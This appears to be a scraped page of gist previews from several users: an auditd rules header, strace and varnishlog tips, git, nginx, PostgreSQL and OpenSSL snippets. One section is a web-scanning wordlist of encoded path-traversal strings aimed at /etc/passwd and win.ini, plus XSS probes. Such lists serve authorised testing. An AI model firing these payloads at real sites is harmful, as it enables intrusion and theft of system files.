Neo23x0

# IMPORTANT!
# This gist has been transformed into a github repo 
# You can find the most recent version there:
# https://github.com/Neo23x0/auditd

#      ___             ___ __      __
#     /   | __  ______/ (_) /_____/ /
#    / /| |/ / / / __  / / __/ __  / 
#   / ___ / /_/ / /_/ / / /_/ /_/ /  
#  /_/  |_\__,_/\__,_/_/\__/\__,_/   

shaikhul

Strace cheat sheet

• trace an executable: strace ls
• trace specific system call: strace -e open ls
• trace multiple system call: strace -e trace=open,read,write ls
• save trace output: strace -o ls.txt ls
• trace a running linux process: sudo strace -p pid
• print timestamp: strace -t ls
• gerate stat: strace -c ls

Ref: http://www.thegeekstuff.com/2011/11/strace-examples/

heiswayi

First Method

Deleting the .git folder may cause problems in our git repository. If we want to delete all of our commits history, but keep the code in its current state, try this:

# Check out to a temporary branch:
git checkout --orphan TEMP_BRANCH

# Add all the files:
git add -A

1a57danc3

/$
/%20..%5Cweb-inf
/%22%3E%3CsCrIpT%3Eprompt(42873)
/%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5C%252e%252e%5Cwindows%5Cwin.ini
/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/%25uff0e%25uff0e/windows/win.ini
/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/passwd
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd
/%3Cscript%20s%3Ealert(42873)
/%3Cscript%3Ealert(42873).do
/%3f.jsp

yancyn

Pre-requisition*

$ sudo apt-get update
$ sudo apt-get upgrade

*if fail see Upgrade Ubuntu 16.04 Live Stick

Ubuntu 16.04

$ sudo apt-get install ruby ruby-dev make gcc

ruanbekker

Docs - LXD Helpful Docs:
https://www.stgraber.org/2016/03/30/lxd-2-0-image-management-512/
https://www.flockport.com/flockport-first-look-at-lxd/
http://insights.ubuntu.com/2016/03/14/the-lxd-2-0-story-prologue/

Docs - Installation:
http://insights.ubuntu.com/2016/03/14/the-lxd-2-0-story-prologue/

Docs - API:
https://linuxcontainers.org/lxd/getting-started-cli/

nrollr

# UPDATED 17 February 2019
# Redirect all HTTP traffic to HTTPS
server {
   listen 80;
   listen [::]:80; 	
   server_name www.domain.com domain.com;
   return 301 https://$host$request_uri;
}

# SSL configuration

oinopion

-- Create a group
CREATE ROLE readaccess;

-- Grant access to existing tables
GRANT USAGE ON SCHEMA public TO readaccess;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO readaccess;

-- Grant access to future tables
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO readaccess;

ArturT

# Based on http://fearby.com/article/update-openssl-on-a-digital-ocean-vm/

$ sudo apt-get update
$ sudo apt-get dist-upgrade

$ wget ftp://ftp.openssl.org/source/openssl-1.0.2h.tar.gz
$ tar -xvzf openssl-1.0.2h.tar.gz
$ cd openssl-1.0.2h
$ ./config --prefix=/usr/
$ make depend

cupracer

# filter by request host header
varnishlog -q 'ReqHeader ~ "Host: example.com"'

# filter by request url
varnishlog -q 'ReqURL ~ "^/some/path/"'

# filter by client ip (behind reverse proxy)
varnishlog -q 'ReqHeader ~ "X-Real-IP: .*123.123.123.123"'

# filter by request host header and show request url and referrer header